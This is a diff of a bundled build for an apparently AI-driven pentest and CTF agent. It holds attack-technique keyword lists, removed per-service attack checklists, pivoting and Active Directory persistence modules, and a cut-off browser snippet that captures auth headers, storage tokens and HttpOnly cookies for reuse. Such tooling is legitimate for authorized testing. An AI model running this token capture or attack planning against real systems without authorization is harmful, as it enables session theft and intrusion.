|
-
"wireshark",
|
|
6072
|
-
"firmware",
|
|
6073
|
-
"ext4",
|
|
6074
|
-
"ntfs",
|
|
6075
|
-
"registry"
|
|
6076
|
-
],
|
|
6077
|
-
reversing: [
|
|
6078
|
-
"reverse",
|
|
6079
|
-
"disassemble",
|
|
6080
|
-
"decompile",
|
|
6081
|
-
"ghidra",
|
|
6082
|
-
"ida",
|
|
6083
|
-
"radare2",
|
|
6084
|
-
"upx",
|
|
6085
|
-
"packed",
|
|
6086
|
-
"obfuscated",
|
|
6087
|
-
"android",
|
|
6088
|
-
"apk",
|
|
6089
|
-
"angr",
|
|
6090
|
-
"z3",
|
|
6091
|
-
"frida",
|
|
6092
|
-
"crackme",
|
|
6093
|
-
"keygen",
|
|
6094
|
-
"dnspy"
|
|
6095
|
-
],
|
|
6096
|
-
misc: [
|
|
6097
|
-
"OSINT",
|
|
6098
|
-
"trivia",
|
|
6099
|
-
"scripting",
|
|
6100
|
-
"pyjail",
|
|
6101
|
-
"sandbox escape",
|
|
6102
|
-
"qr code",
|
|
6103
|
-
"morse",
|
|
6104
|
-
"braille",
|
|
6105
|
-
"jail",
|
|
6106
|
-
"rbash",
|
|
6107
|
-
"restricted",
|
|
6108
|
-
"seccomp",
|
|
6109
|
-
"filter bypass",
|
|
6110
|
-
"escape"
|
|
6111
|
-
]
|
|
6112
|
-
};
|
|
6113
|
-
|
|
6114
6310
|
// src/shared/utils/knowledge/owasp/history/2017.ts
|
|
6115
6311
|
var OWASP_2017 = {
|
|
6116
6312
|
A01: { name: "Injection", desc: "SQL, NoSQL, OS, and LDAP injection.", tools: ["sqlmap", "commix"] },
|
|
@@ -6410,94 +6606,30 @@ var SMB_PORTS = [
|
|
|
6410
6606
|
SERVICE_PORTS.SMB_NETBIOS
|
|
6411
6607
|
];
|
|
6412
6608
|
|
|
6413
|
-
// src/shared/constants/scoring.ts
|
|
6414
|
-
var ATTACK_SCORING = {
|
|
6415
|
-
/** Base score for all attack prioritization */
|
|
6416
|
-
BASE_SCORE: 50,
|
|
6417
|
-
/** Maximum possible score */
|
|
6418
|
-
MAX_SCORE: 100,
|
|
6419
|
-
/** Bonus for critical infrastructure services (SSH, RDP, DB, etc.) */
|
|
6420
|
-
CRITICAL_SERVICE_BONUS: 20,
|
|
6421
|
-
/** Bonus when service version is known (enables CVE lookup) */
|
|
6422
|
-
VERSION_KNOWN_BONUS: 15,
|
|
6423
|
-
/** Bonus when known critical CVE exists for the service version */
|
|
6424
|
-
CRITICAL_CVE_BONUS: 30,
|
|
6425
|
-
/** Bonus for sensitive services running without authentication */
|
|
6426
|
-
NO_AUTH_BONUS: 25,
|
|
6427
|
-
/** Bonus for plaintext HTTP on service ports (no HTTPS) */
|
|
6428
|
-
PLAINTEXT_HTTP_BONUS: 10
|
|
6429
|
-
};
|
|
6430
|
-
|
|
6431
|
-
// src/shared/utils/knowledge/planning/scoring.ts
|
|
6432
|
-
function calculateAttackPriority(findings) {
|
|
6433
|
-
let score = ATTACK_SCORING.BASE_SCORE;
|
|
6434
|
-
if (CRITICAL_SERVICE_PORTS.includes(findings.port)) {
|
|
6435
|
-
score += ATTACK_SCORING.CRITICAL_SERVICE_BONUS;
|
|
6436
|
-
}
|
|
6437
|
-
if (findings.version) {
|
|
6438
|
-
score += ATTACK_SCORING.VERSION_KNOWN_BONUS;
|
|
6439
|
-
const key = `${findings.service.toLowerCase()}/${findings.version.split(".")[0]}`;
|
|
6440
|
-
if (SERVICE_VULN_MAP[key]?.priority === "critical") {
|
|
6441
|
-
score += ATTACK_SCORING.CRITICAL_CVE_BONUS;
|
|
6442
|
-
}
|
|
6443
|
-
}
|
|
6444
|
-
if (!findings.hasAuth && NO_AUTH_CRITICAL_PORTS.includes(findings.port)) {
|
|
6445
|
-
score += ATTACK_SCORING.NO_AUTH_BONUS;
|
|
6446
|
-
}
|
|
6447
|
-
if (PLAINTEXT_HTTP_PORTS.includes(findings.port) && !findings.isHttps) {
|
|
6448
|
-
score += ATTACK_SCORING.PLAINTEXT_HTTP_BONUS;
|
|
6449
|
-
}
|
|
6450
|
-
return Math.min(score, ATTACK_SCORING.MAX_SCORE);
|
|
6451
|
-
}
|
|
6452
|
-
|
|
6453
6609
|
// src/shared/utils/knowledge/planning/recommendations.ts
|
|
6454
|
-
function
|
|
6455
|
-
const attacks = [];
|
|
6610
|
+
function getServiceContext(service, port) {
|
|
6456
6611
|
const svc = service.toLowerCase();
|
|
6612
|
+
const facts = [];
|
|
6457
6613
|
if (WEB_SERVICE_PORTS.includes(port)) {
|
|
6458
|
-
|
|
6459
|
-
|
|
6460
|
-
|
|
6461
|
-
"OWASP-A03: XSS testing",
|
|
6462
|
-
"OWASP-A05: Header analysis",
|
|
6463
|
-
"OWASP-A10: SSRF testing",
|
|
6464
|
-
"OWASP-A06: Version fingerprinting"
|
|
6465
|
-
);
|
|
6614
|
+
if (port === 443 || port === 8443) facts.push("TLS/HTTPS");
|
|
6615
|
+
if (port === 8080 || port === 8e3 || port === 8888) facts.push("Non-standard HTTP port \u2014 often dev/admin panels");
|
|
6616
|
+
return { category: "web", facts };
|
|
6466
6617
|
}
|
|
6467
6618
|
if (port === SERVICE_PORTS.SSH || svc.includes("ssh")) {
|
|
6468
|
-
|
|
6469
|
-
|
|
6470
|
-
"Brute force common credentials",
|
|
6471
|
-
"SSH key enumeration",
|
|
6472
|
-
"Check for weak algorithms"
|
|
6473
|
-
);
|
|
6619
|
+
if (port !== SERVICE_PORTS.SSH) facts.push(`Non-standard SSH port (${port})`);
|
|
6620
|
+
return { category: "ssh", facts };
|
|
6474
6621
|
}
|
|
6475
|
-
if (SMB_PORTS.includes(port) || svc.includes("smb")) {
|
|
6476
|
-
|
|
6477
|
-
"MS17-010 EternalBlue check",
|
|
6478
|
-
"SMB enumeration",
|
|
6479
|
-
"Null session test",
|
|
6480
|
-
"Share enumeration"
|
|
6481
|
-
);
|
|
6622
|
+
if (SMB_PORTS.includes(port) || svc.includes("smb") || svc.includes("netbios")) {
|
|
6623
|
+
return { category: "smb", facts };
|
|
6482
6624
|
}
|
|
6483
|
-
if (DATABASE_PORTS.includes(port) || svc.includes("sql") || svc.includes("mongo") || svc.includes("redis")) {
|
|
6484
|
-
|
|
6485
|
-
|
|
6486
|
-
"Unauthenticated access check",
|
|
6487
|
-
"SQLi through web app",
|
|
6488
|
-
"UDF injection",
|
|
6489
|
-
"NoSQL injection"
|
|
6490
|
-
);
|
|
6625
|
+
if (DATABASE_PORTS.includes(port) || svc.includes("sql") || svc.includes("mongo") || svc.includes("redis") || svc.includes("postgres")) {
|
|
6626
|
+
facts.push("Database service \u2014 check for unauthenticated access");
|
|
6627
|
+
return { category: "database", facts };
|
|
6491
6628
|
}
|
|
6492
6629
|
if (port === SERVICE_PORTS.FTP || svc.includes("ftp")) {
|
|
6493
|
-
|
|
6494
|
-
"Anonymous login test",
|
|
6495
|
-
"Brute force credentials",
|
|
6496
|
-
"VSFTPD backdoor check",
|
|
6497
|
-
"Directory traversal"
|
|
6498
|
-
);
|
|
6630
|
+
return { category: "ftp", facts };
|
|
6499
6631
|
}
|
|
6500
|
-
return
|
|
6632
|
+
return { category: "other", facts };
|
|
6501
6633
|
}
|
|
6502
6634
|
|
|
6503
6635
|
// src/shared/constants/prompts/paths.ts
|
|
@@ -6536,7 +6668,11 @@ var TECHNIQUE_FILES = {
|
|
|
6536
6668
|
REVERSING: "reversing",
|
|
6537
6669
|
FORENSICS: "forensics",
|
|
6538
6670
|
PWN: "pwn",
|
|
6539
|
-
SHELLS: "shells"
|
|
6671
|
+
SHELLS: "shells",
|
|
6672
|
+
/** Multi-hop pivoting and tunneling (2차 — Hard/Insane support) */
|
|
6673
|
+
PIVOTING: "pivoting",
|
|
6674
|
+
/** Enterprise internal network: AD Forest, Cloud pivoting, SCCM, persistence (4차 — DEF CON/Enterprise) */
|
|
6675
|
+
ENTERPRISE_PENTEST: "enterprise-pentest"
|
|
6540
6676
|
};
|
|
6541
6677
|
var PROMPT_CONFIG = {
|
|
6542
6678
|
ENCODING: "utf-8"
|
|
@@ -6598,7 +6734,7 @@ var TYPE_TECHNIQUE_MAP = {
|
|
|
6598
6734
|
forensics: [TECHNIQUE_FILES.FORENSICS, TECHNIQUE_FILES.REVERSING, TECHNIQUE_FILES.CRYPTO],
|
|
6599
6735
|
reversing: [TECHNIQUE_FILES.REVERSING, TECHNIQUE_FILES.PWN],
|
|
6600
6736
|
misc: [TECHNIQUE_FILES.SANDBOX_ESCAPE, TECHNIQUE_FILES.CRYPTO, TECHNIQUE_FILES.FORENSICS],
|
|
6601
|
-
network: [TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.AD_ATTACK],
|
|
6737
|
+
network: [TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.LATERAL, TECHNIQUE_FILES.AD_ATTACK, TECHNIQUE_FILES.PIVOTING],
|
|
6602
6738
|
unknown: [TECHNIQUE_FILES.NETWORK_SVC, TECHNIQUE_FILES.INJECTION, TECHNIQUE_FILES.SHELLS, TECHNIQUE_FILES.FILE_ATTACKS]
|
|
6603
6739
|
};
|
|
6604
6740
|
var TYPE_PHASE_PROMPT_MAP = {
|
|
@@ -6611,19 +6747,122 @@ var TYPE_PHASE_PROMPT_MAP = {
|
|
|
6611
6747
|
network: "recon.md",
|
|
6612
6748
|
unknown: "recon.md"
|
|
6613
6749
|
};
|
|
6614
|
-
var TYPE_STRATEGY_MAP = {
|
|
6615
|
-
web: "Web challenge detected. Priority: directory fuzzing \u2192 injection testing \u2192 authentication bypass \u2192 file upload \u2192 SSRF/SSTI. Check source code, cookies, JWT tokens.",
|
|
6616
|
-
pwn: "Binary exploitation challenge. Priority: checksec \u2192 binary analysis \u2192 find vulnerability class \u2192 develop exploit. Tools: gdb, pwntools, radare2.",
|
|
6617
|
-
crypto: "Cryptography challenge. Priority: identify algorithm \u2192 find weakness \u2192 write solver script. Check for weak keys, reused nonces, padding oracle, ECB mode.",
|
|
6618
|
-
forensics: "Forensics challenge. Priority: file identification \u2192 extract data \u2192 analyze artifacts. Tools: binwalk, volatility, wireshark, exiftool, foremost.",
|
|
6619
|
-
reversing: "Reverse engineering challenge. Priority: identify binary type \u2192 static analysis \u2192 dynamic analysis \u2192 extract flag/keygen. Tools: ghidra, radare2, ltrace, strace.",
|
|
6620
|
-
misc: "Miscellaneous challenge. Priority: understand the puzzle \u2192 check for sandbox escape, scripting, OSINT, encoding. Think creatively.",
|
|
6621
|
-
network: "Network/infrastructure challenge. Priority: service enumeration \u2192 version CVE search \u2192 exploit \u2192 privilege escalation \u2192 lateral movement.",
|
|
6622
|
-
unknown: "Challenge type unclear. Run broad reconnaissance first, then adapt based on findings."
|
|
6623
|
-
};
|
|
6624
6750
|
|
|
6625
6751
|
// src/shared/utils/knowledge/challenge/engine.ts
|
|
6626
6752
|
var SECONDARY_TYPE_RATIO = 0.5;
|
|
6753
|
+
var WEB_PORT_PATTERN = /\b(80|443|8080|8443|3000|5000|8000)\b/;
|
|
6754
|
+
var INFRA_PORT_PATTERN = /\b(21|22|23|25|53|445|139|3389|5985)\b/;
|
|
6755
|
+
var CHALLENGE_TYPE_SIGNALS = {
|
|
6756
|
+
web: [
|
|
6757
|
+
"http",
|
|
6758
|
+
"https",
|
|
6759
|
+
"nginx",
|
|
6760
|
+
"apache",
|
|
6761
|
+
"flask",
|
|
6762
|
+
"express",
|
|
6763
|
+
"php",
|
|
6764
|
+
"node",
|
|
6765
|
+
"django",
|
|
6766
|
+
"rails",
|
|
6767
|
+
"wordpress",
|
|
6768
|
+
"login form",
|
|
6769
|
+
"graphql",
|
|
6770
|
+
"websocket",
|
|
6771
|
+
"oauth",
|
|
6772
|
+
"jwt",
|
|
6773
|
+
"cookie",
|
|
6774
|
+
"grpc"
|
|
6775
|
+
],
|
|
6776
|
+
pwn: [
|
|
6777
|
+
"buffer overflow",
|
|
6778
|
+
"SUID",
|
|
6779
|
+
"stack",
|
|
6780
|
+
"heap",
|
|
6781
|
+
"format string",
|
|
6782
|
+
"ELF",
|
|
6783
|
+
"binary",
|
|
6784
|
+
"pwntools",
|
|
6785
|
+
"libc",
|
|
6786
|
+
"canary",
|
|
6787
|
+
"NX",
|
|
6788
|
+
"PIE",
|
|
6789
|
+
"seccomp",
|
|
6790
|
+
"shellcode",
|
|
6791
|
+
"tcache",
|
|
6792
|
+
"fastbin",
|
|
6793
|
+
"house of"
|
|
6794
|
+
],
|
|
6795
|
+
crypto: [
|
|
6796
|
+
"RSA",
|
|
6797
|
+
"AES",
|
|
6798
|
+
"cipher",
|
|
6799
|
+
"decrypt",
|
|
6800
|
+
"encrypt",
|
|
6801
|
+
"key",
|
|
6802
|
+
"modulus",
|
|
6803
|
+
"prime",
|
|
6804
|
+
"hash",
|
|
6805
|
+
"base64",
|
|
6806
|
+
"XOR",
|
|
6807
|
+
"padding oracle",
|
|
6808
|
+
"elliptic curve",
|
|
6809
|
+
"lattice",
|
|
6810
|
+
"LLL",
|
|
6811
|
+
"ECDSA",
|
|
6812
|
+
"nonce"
|
|
6813
|
+
],
|
|
6814
|
+
forensics: [
|
|
6815
|
+
"pcap",
|
|
6816
|
+
"memory dump",
|
|
6817
|
+
"disk image",
|
|
6818
|
+
"steganography",
|
|
6819
|
+
"exif",
|
|
6820
|
+
"binwalk",
|
|
6821
|
+
"volatility",
|
|
6822
|
+
"autopsy",
|
|
6823
|
+
"file carving",
|
|
6824
|
+
"wireshark",
|
|
6825
|
+
"firmware",
|
|
6826
|
+
"ext4",
|
|
6827
|
+
"ntfs",
|
|
6828
|
+
"registry"
|
|
6829
|
+
],
|
|
6830
|
+
reversing: [
|
|
6831
|
+
"reverse",
|
|
6832
|
+
"disassemble",
|
|
6833
|
+
"decompile",
|
|
6834
|
+
"ghidra",
|
|
6835
|
+
"ida",
|
|
6836
|
+
"radare2",
|
|
6837
|
+
"upx",
|
|
6838
|
+
"packed",
|
|
6839
|
+
"obfuscated",
|
|
6840
|
+
"android",
|
|
6841
|
+
"apk",
|
|
6842
|
+
"angr",
|
|
6843
|
+
"z3",
|
|
6844
|
+
"frida",
|
|
6845
|
+
"crackme",
|
|
6846
|
+
"keygen",
|
|
6847
|
+
"dnspy"
|
|
6848
|
+
],
|
|
6849
|
+
misc: [
|
|
6850
|
+
"OSINT",
|
|
6851
|
+
"trivia",
|
|
6852
|
+
"scripting",
|
|
6853
|
+
"pyjail",
|
|
6854
|
+
"sandbox escape",
|
|
6855
|
+
"qr code",
|
|
6856
|
+
"morse",
|
|
6857
|
+
"braille",
|
|
6858
|
+
"jail",
|
|
6859
|
+
"rbash",
|
|
6860
|
+
"restricted",
|
|
6861
|
+
"seccomp",
|
|
6862
|
+
"filter bypass",
|
|
6863
|
+
"escape"
|
|
6864
|
+
]
|
|
6865
|
+
};
|
|
6627
6866
|
function analyzeChallenge(reconData) {
|
|
6628
6867
|
if (!reconData || reconData.trim().length === 0) {
|
|
6629
6868
|
return {
|
|
@@ -6632,8 +6871,7 @@ function analyzeChallenge(reconData) {
|
|
|
6632
6871
|
confidence: 0,
|
|
6633
6872
|
matchedSignals: [],
|
|
6634
6873
|
recommendedTechniques: TYPE_TECHNIQUE_MAP.unknown,
|
|
6635
|
-
recommendedPhasePrompt: TYPE_PHASE_PROMPT_MAP.unknown
|
|
6636
|
-
strategySuggestion: TYPE_STRATEGY_MAP.unknown
|
|
6874
|
+
recommendedPhasePrompt: TYPE_PHASE_PROMPT_MAP.unknown
|
|
6637
6875
|
};
|
|
6638
6876
|
}
|
|
6639
6877
|
const lowerData = reconData.toLowerCase();
|
|
@@ -6657,11 +6895,11 @@ function analyzeChallenge(reconData) {
|
|
|
6657
6895
|
}
|
|
6658
6896
|
}
|
|
6659
6897
|
}
|
|
6660
|
-
if (
|
|
6898
|
+
if (WEB_PORT_PATTERN.test(reconData)) {
|
|
6661
6899
|
scores.web.score += 2;
|
|
6662
6900
|
scores.web.signals.push("web-port");
|
|
6663
6901
|
}
|
|
6664
|
-
if (
|
|
6902
|
+
if (INFRA_PORT_PATTERN.test(reconData)) {
|
|
6665
6903
|
scores.network.score += 2;
|
|
6666
6904
|
scores.network.signals.push("infra-port");
|
|
6667
6905
|
}
|
|
@@ -6689,8 +6927,7 @@ function analyzeChallenge(reconData) {
|
|
|
6689
6927
|
confidence,
|
|
6690
6928
|
matchedSignals: primaryData.signals,
|
|
6691
6929
|
recommendedTechniques: TYPE_TECHNIQUE_MAP[primaryType] || TYPE_TECHNIQUE_MAP.unknown,
|
|
6692
|
-
recommendedPhasePrompt: TYPE_PHASE_PROMPT_MAP[primaryType] || TYPE_PHASE_PROMPT_MAP.unknown
|
|
6693
|
-
strategySuggestion: TYPE_STRATEGY_MAP[primaryType] || TYPE_STRATEGY_MAP.unknown
|
|
6930
|
+
recommendedPhasePrompt: TYPE_PHASE_PROMPT_MAP[primaryType] || TYPE_PHASE_PROMPT_MAP.unknown
|
|
6694
6931
|
};
|
|
6695
6932
|
}
|
|
6696
6933
|
|
|
@@ -6704,9 +6941,9 @@ function formatChallengeAnalysis(analysis) {
|
|
|
6704
6941
|
if (analysis.secondaryTypes.length > 0) {
|
|
6705
6942
|
lines.push(`Secondary: ${analysis.secondaryTypes.join(", ")}`);
|
|
6706
6943
|
}
|
|
6707
|
-
lines.push(`
|
|
6708
|
-
lines.push(`
|
|
6709
|
-
lines.push(`
|
|
6944
|
+
lines.push(`Matched signals: ${analysis.matchedSignals.join(", ")}`);
|
|
6945
|
+
lines.push(`Reference docs loaded: ${analysis.recommendedTechniques.join(", ")}`);
|
|
6946
|
+
lines.push(`Use get_owasp_knowledge("${analysis.primaryType}") or web_search for current attack techniques.`);
|
|
6710
6947
|
lines.push(`</challenge-analysis>`);
|
|
6711
6948
|
return lines.join("\n");
|
|
6712
6949
|
}
|
|
@@ -6775,7 +7012,11 @@ confidence score (0-100) \u2014 technical verification level:
|
|
|
6775
7012
|
0 = Pure speculation, no actual test performed
|
|
6776
7013
|
|
|
6777
7014
|
Omit confidence to let the system auto-calculate from evidence.
|
|
6778
|
-
Findings with confidence >= 80 appear as CONFIRMED in reports
|
|
7015
|
+
Findings with confidence >= 80 appear as CONFIRMED in reports.
|
|
7016
|
+
|
|
7017
|
+
basedOnFindingIds: If this finding is INFERRED from existing findings (not directly observed),
|
|
7018
|
+
provide the IDs of those findings. The system will automatically set inferenceDepth = max(ref.depth)+1.
|
|
7019
|
+
Example: you found SQLi evidence from a previous LFI finding \u2192 basedOnFindingIds: ["<lfi-finding-id>"]`,
|
|
6779
7020
|
parameters: {
|
|
6780
7021
|
title: { type: "string", description: 'Concise title (e.g., "Path Traversal via /download endpoint")' },
|
|
6781
7022
|
severity: { type: "string", description: "Business impact severity: critical, high, medium, low, info" },
|
|
@@ -6783,7 +7024,8 @@ Findings with confidence >= 80 appear as CONFIRMED in reports.`,
|
|
|
6783
7024
|
description: { type: "string", description: "What the vulnerability is, how you exploited it step-by-step, what access it gives, and the impact." },
|
|
6784
7025
|
evidence: { type: "array", items: { type: "string" }, description: "Actual command outputs proving the finding. Copy real output here." },
|
|
6785
7026
|
attackPattern: { type: "string", description: "MITRE ATT&CK tactic: initial_access, execution, persistence, privilege_escalation, defense_evasion, credential_access, discovery, lateral_movement, collection, exfiltration, command_and_control, impact" },
|
|
6786
|
-
confidence: { type: "number", description: "Optional override (0-100). Omit to auto-calculate from evidence." }
|
|
7027
|
+
confidence: { type: "number", description: "Optional override (0-100). Omit to auto-calculate from evidence." },
|
|
7028
|
+
basedOnFindingIds: { type: "array", items: { type: "string" }, description: "IDs of existing findings this finding is inferred from. Triggers automatic inferenceDepth calculation. Omit for directly observed findings." }
|
|
6787
7029
|
},
|
|
6788
7030
|
required: ["title", "severity", "description", "evidence"],
|
|
6789
7031
|
execute: async (p) => {
|
|
@@ -6793,6 +7035,7 @@ Findings with confidence >= 80 appear as CONFIRMED in reports.`,
|
|
|
6793
7035
|
const affected = parseStringArray(p.affected);
|
|
6794
7036
|
const description = parseString(p.description);
|
|
6795
7037
|
const attackPattern = parseString(p.attackPattern);
|
|
7038
|
+
const basedOnFindingIds = parseStringArray(p.basedOnFindingIds).filter(Boolean);
|
|
6796
7039
|
const validation = validateFinding(evidence);
|
|
6797
7040
|
const rawOverride = p.confidence;
|
|
6798
7041
|
const confidence = typeof rawOverride === "number" && rawOverride >= 0 && rawOverride <= 100 ? Math.round(rawOverride) : validation.confidence;
|
|
@@ -6806,7 +7049,8 @@ Findings with confidence >= 80 appear as CONFIRMED in reports.`,
|
|
|
6806
7049
|
evidence,
|
|
6807
7050
|
remediation: "",
|
|
6808
7051
|
foundAt: Date.now(),
|
|
6809
|
-
...attackPattern && isValidAttackTactic(attackPattern) ? { attackPattern } : {}
|
|
7052
|
+
...attackPattern && isValidAttackTactic(attackPattern) ? { attackPattern } : {},
|
|
7053
|
+
...basedOnFindingIds.length > 0 ? { basedOnFindingIds } : {}
|
|
6810
7054
|
});
|
|
6811
7055
|
const hasExploit = confidence >= CONFIDENCE_THRESHOLDS.CONFIRMED;
|
|
6812
7056
|
const target = affected[0] || DEFAULTS.UNKNOWN_SERVICE;
|
|
@@ -6967,6 +7211,7 @@ async function searchCVE(service, version) {
|
|
|
6967
7211
|
|
|
6968
7212
|
// src/engine/web-search-providers/common.ts
|
|
6969
7213
|
var SEARCH_TIMEOUT_MS = 15e3;
|
|
7214
|
+
var API_ERROR_PREVIEW = DISPLAY_LIMITS.API_ERROR_PREVIEW;
|
|
6970
7215
|
|
|
6971
7216
|
// src/engine/web-search-providers/glm.ts
|
|
6972
7217
|
function generateRequestId() {
|
|
@@ -7005,7 +7250,7 @@ async function searchWithGLM(query, apiKey, apiUrl) {
|
|
|
7005
7250
|
} catch {
|
|
7006
7251
|
}
|
|
7007
7252
|
debugLog("search", "GLM response ERROR", { status: response.status, error: errorText });
|
|
7008
|
-
return { success: false, output: "", error: `GLM Search API error ${response.status}: ${errorText.slice(0,
|
|
7253
|
+
return { success: false, output: "", error: `GLM Search API error ${response.status}: ${errorText.slice(0, API_ERROR_PREVIEW)}` };
|
|
7009
7254
|
}
|
|
7010
7255
|
let data;
|
|
7011
7256
|
try {
|
|
@@ -7056,7 +7301,7 @@ async function searchWithBrave(query, apiKey, apiUrl) {
|
|
|
7056
7301
|
} catch {
|
|
7057
7302
|
}
|
|
7058
7303
|
debugLog("search", "Brave response ERROR", { status: response.status, error: errorText });
|
|
7059
|
-
return { success: false, output: "", error: `Brave API error ${response.status}: ${errorText.slice(0,
|
|
7304
|
+
return { success: false, output: "", error: `Brave API error ${response.status}: ${errorText.slice(0, API_ERROR_PREVIEW)}` };
|
|
7060
7305
|
}
|
|
7061
7306
|
let data;
|
|
7062
7307
|
try {
|
|
@@ -7106,7 +7351,7 @@ async function searchWithSerper(query, apiKey, apiUrl) {
|
|
|
7106
7351
|
} catch {
|
|
7107
7352
|
}
|
|
7108
7353
|
debugLog("search", "Serper response ERROR", { status: response.status, error: errorText });
|
|
7109
|
-
return { success: false, output: "", error: `Serper API error ${response.status}: ${errorText.slice(0,
|
|
7354
|
+
return { success: false, output: "", error: `Serper API error ${response.status}: ${errorText.slice(0, API_ERROR_PREVIEW)}` };
|
|
7110
7355
|
}
|
|
7111
7356
|
let data;
|
|
7112
7357
|
try {
|
|
@@ -7153,7 +7398,7 @@ async function searchWithGenericApi(query, apiKey, apiUrl) {
|
|
|
7153
7398
|
errorText = await response.text();
|
|
7154
7399
|
} catch {
|
|
7155
7400
|
}
|
|
7156
|
-
return { success: false, output: "", error: `Search API error ${response.status}: ${errorText.slice(0,
|
|
7401
|
+
return { success: false, output: "", error: `Search API error ${response.status}: ${errorText.slice(0, API_ERROR_PREVIEW)}` };
|
|
7157
7402
|
}
|
|
7158
7403
|
let data;
|
|
7159
7404
|
try {
|
|
@@ -7180,7 +7425,11 @@ var BROWSER_LIMITS = {
|
|
|
7180
7425
|
ADVISORY_WAIT_TIME: 2e3
|
|
7181
7426
|
};
|
|
7182
7427
|
var BROWSER_PATHS = {
|
|
7183
|
-
TEMP_DIR_NAME: "pentest-browser"
|
|
7428
|
+
TEMP_DIR_NAME: "pentest-browser",
|
|
7429
|
+
/** §4 Session: Playwright storageState 저장 파일명 */
|
|
7430
|
+
SESSION_FILE: "browser-session.json",
|
|
7431
|
+
/** §4 Session: 추출된 Bearer/Cookie 헤더 저장 파일명 (curl/python 등 범용 도구용) */
|
|
7432
|
+
AUTH_HEADERS_FILE: "auth-headers.json"
|
|
7184
7433
|
};
|
|
7185
7434
|
|
|
7186
7435
|
// src/shared/constants/browser/playwright.ts
|
|
@@ -7292,7 +7541,7 @@ function safeJsString(str) {
|
|
|
7292
7541
|
|
|
7293
7542
|
// src/engine/tools/web-browser/scripts/runner.ts
|
|
7294
7543
|
import { spawn as spawn6 } from "child_process";
|
|
7295
|
-
import { writeFileSync as writeFileSync6, unlinkSync as
|
|
7544
|
+
import { writeFileSync as writeFileSync6, unlinkSync as unlinkSync6 } from "fs";
|
|
7296
7545
|
import { join as join7 } from "path";
|
|
7297
7546
|
import { tmpdir as tmpdir2 } from "os";
|
|
7298
7547
|
function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
@@ -7325,7 +7574,7 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
7325
7574
|
child.stderr.on("data", (data) => stderr += data);
|
|
7326
7575
|
child.on("close", (code) => {
|
|
7327
7576
|
try {
|
|
7328
|
-
|
|
7577
|
+
unlinkSync6(scriptPath);
|
|
7329
7578
|
} catch {
|
|
7330
7579
|
}
|
|
7331
7580
|
if (code !== 0) {
|
|
@@ -7352,7 +7601,7 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
7352
7601
|
});
|
|
7353
7602
|
child.on("error", (err) => {
|
|
7354
7603
|
try {
|
|
7355
|
-
|
|
7604
|
+
unlinkSync6(scriptPath);
|
|
7356
7605
|
} catch {
|
|
7357
7606
|
}
|
|
7358
7607
|
resolve({
|
|
@@ -7364,16 +7613,97 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
|
|
|
7364
7613
|
});
|
|
7365
7614
|
}
|
|
7366
7615
|
|
|
7616
|
+
// src/engine/tools/web-browser/scripts/snippets/auth-capture.ts
|
|
7617
|
+
function getNetworkAuthInterceptSnippet(varName = "_capturedHeaders") {
|
|
7618
|
+
return `
|
|
7619
|
+
// \xA7LLM-AUTONOMY: Network intercept \u2014 capture real auth headers from HTTP traffic.
|
|
7620
|
+
// No hardcoded key names. Whatever the app sends, we record it.
|
|
7621
|
+
const ${varName} = {};
|
|
7622
|
+
await page.route('**', async (route) => {
|
|
7623
|
+
const hdrs = route.request().headers();
|
|
7624
|
+
if (hdrs['authorization']) ${varName}['Authorization'] = hdrs['authorization'];
|
|
7625
|
+
if (hdrs['x-csrf-token']) ${varName}['x-csrf-token'] = hdrs['x-csrf-token'];
|
|
7626
|
+
if (hdrs['x-api-key']) ${varName}['x-api-key'] = hdrs['x-api-key'];
|
|
7627
|
+
if (hdrs['x-auth-token']) ${varName}['x-auth-token'] = hdrs['x-auth-token'];
|
|
7628
|
+
await route.continue();
|
|
7629
|
+
});
|
|
7630
|
+
`;
|
|
7631
|
+
}
|
|
7632
|
+
function getStorageAndAuthDumpSnippet(capturedVarName = "_capturedHeaders", safeSessionPath) {
|
|
7633
|
+
return `
|
|
7634
|
+
// \u2460 Network intercept: capture actual Authorization/Cookie headers sent during this session
|
|
7635
|
+
// WHY: More reliable than guessing storage key names.
|
|
7636
|
+
// Whatever the app calls its token, we capture it from real HTTP traffic.
|
|
7637
|
+
const _intercepted = ${capturedVarName} || {};
|
|
7638
|
+
|
|
7639
|
+
// \u2461 Full storage dump \u2192 LLM decides which value is the auth token
|
|
7640
|
+
const _allStorage = await page.evaluate(() => {
|
|
7641
|
+
const out = { localStorage: {}, sessionStorage: {} };
|
|
7642
|
+
for (let i = 0; i < localStorage.length; i++) {
|
|
7643
|
+
const k = localStorage.key(i);
|
|
7644
|
+
if (k) out.localStorage[k] = localStorage.getItem(k);
|
|
7645
|
+
}
|
|
7646
|
+
for (let i = 0; i < sessionStorage.length; i++) {
|
|
7647
|
+
const k = sessionStorage.key(i);
|
|
7648
|
+
if (k) out.sessionStorage[k] = sessionStorage.getItem(k);
|
|
7649
|
+
}
|
|
7650
|
+
return out;
|
|
7651
|
+
});
|
|
7652
|
+
|
|
7653
|
+
// \u2462 Cookies \u2014 full list including HttpOnly (server-side)
|
|
7654
|
+
const _cookies = await context.cookies();
|
|
7655
|
+
const _cookieHeader = _cookies.map(c => c.name + '=' + c.value).join('; ');
|
|
7656
|
+
|
|
7657
|
+
// \u2463 Build auth-headers.json:
|
|
7658
|
+
// Priority: intercepted network header > storage token-like values > cookies
|
|
7659
|
+
const _authHeaders = {};
|
|
7660
|
+
|
|
7661
|
+
// Network-intercepted Authorization wins (most reliable)
|
|
7662
|
+
if (_intercepted.Authorization) {
|
|
7663
|
+
_authHeaders['Authorization'] = _intercepted.Authorization;
|
|
7664
|
+
} else {
|
|
7665
|
+
// Fallback: find any storage value that looks like a JWT/Bearer token
|
|
7666
|
+
// Let LLM decide later by inspecting raw 'storage' field
|
|
7667
|
+
const _allValues = [
|
|
7668
|
+
...Object.entries(_allStorage.localStorage),
|
|
7669
|
+
...Object.entries(_allStorage.sessionStorage)
|
|
7670
|
+
];
|
|
7671
|
+
const _tokenEntry = _allValues.find(([, v]) =>
|
|
7672
|
+
typeof v === 'string' && (v.startsWith('eyJ') || v.startsWith('Bearer '))
|
|
7673
|
+
);
|
|
7674
|
+
if (_tokenEntry) {
|
|
